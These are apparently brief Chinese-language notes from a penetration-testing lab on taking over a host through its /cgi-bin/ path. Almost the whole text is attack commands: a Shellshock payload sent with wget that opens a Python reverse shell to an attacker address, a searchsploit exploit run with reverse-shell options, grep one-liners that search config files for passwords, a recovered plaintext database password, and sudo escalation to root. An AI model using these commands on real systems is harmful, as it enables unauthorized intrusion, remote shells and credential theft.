cgi-bin 扫描路径暴露出：/cgi-bin/
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.0.243\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' 2>&1" http://10.11.1.71/cgi-bin/admin.cgi
或者
searchsploit --color apache cgi
python exploits/linux/remote/34900.py payload=reverse rhost=10.11.1.71 pages=/cgi-bin/admin.cgi lhost=10.11.0.243 lport=2222
find . -name '*config*' -exec grep -iR -e 'password.*=' /dev/null {} \;
find / -name '*config*' 2>/dev/null | xargs -l10 egrep 'passwd|password' 2>/dev/null 寻找config文件里的passwd，然后得到$bigtree["config"]["db"]["password"] = "zaq1xsw2cde3";
登陆gibson用户，之后sudo su直接变成root用户，或者sudo passwd root更改密码登陆
3818
